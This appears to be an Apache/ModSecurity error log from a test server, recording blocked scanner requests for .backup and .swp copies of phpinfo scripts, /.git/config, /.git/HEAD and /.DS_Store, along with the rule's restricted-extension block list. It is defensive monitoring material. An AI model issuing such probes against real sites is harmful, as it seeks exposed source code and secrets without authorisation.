[Fri Oct 24 20:59:04.744166 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwgAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.744579 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwgAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.744768 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwgAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.918581 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.919002 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.919221 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.357824 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlyAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.358236 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlyAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.358438 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlyAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.609081 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlyQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.609470 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlyQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.609635 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlyQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.752571 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlygAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.752992 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlygAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:06.753174 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aPvMejqiRrsqbAQUrtTlygAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:07.205741 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aPvMezqiRrsqbAQUrtTlywAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:07.206148 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aPvMezqiRrsqbAQUrtTlywAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:07.206321 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aPvMezqiRrsqbAQUrtTlywAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:26.274982 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aPvMjjqiRrsqbAQUrtTl_AAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:26.275243 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aPvMjjqiRrsqbAQUrtTl_AAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:26.275423 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aPvMjjqiRrsqbAQUrtTl_AAAAA4&quot;], referer: https://www.google.com/
[Sun Oct 26 08:27:50.712057 2025] [:error] [pid 3769906] [client 45.148.10.165:58196] [client 45.148.10.165] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aP3Ndsn7rqYqbuISx_nKSQAAAAI&quot;]
[Sun Oct 26 08:27:50.712375 2025] [:error] [pid 3769906] [client 45.148.10.165:58196] [client 45.148.10.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aP3Ndsn7rqYqbuISx_nKSQAAAAI&quot;]
[Sun Oct 26 08:27:50.712615 2025] [:error] [pid 3769906] [client 45.148.10.165:58196] [client 45.148.10.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aP3Ndsn7rqYqbuISx_nKSQAAAAI&quot;]
[Sun Oct 26 08:27:50.834065 2025] [:error] [pid 3769905] [client 45.148.10.165:58260] [client 45.148.10.165] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aP3NdhLpsOpM82cROhVU0QAAAAE&quot;]
[Sun Oct 26 08:27:50.834282 2025] [:error] [pid 3769905] [client 45.148.10.165:58260] [client 45.148.10.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aP3NdhLpsOpM82cROhVU0QAAAAE&quot;]
[Sun Oct 26 08:27:50.834451 2025] [:error] [pid 3769905] [client 45.148.10.165:58260] [client 45.148.10.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aP3NdhLpsOpM82cROhVU0QAAAAE&quot;]
[Mon Oct 27 23:35:42.785043 2025] [authz_core:error] [pid 3816548] [client 209.38.248.17:52218] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Mon Oct 27 23:35:42.941627 2025] [:error] [pid 3816574] [client 209.38.248.17:52248] [client 209.38.248.17] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aP_zvk2OVaaFkQE4MuInWAAAAAY&quot;]
[Mon Oct 27 23:35:42.941861 2025] [:error] [pid 3816574] [client 209.38.248.17:52248] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aP_zvk2OVaaFkQE4MuInWAAAAAY&quot;]
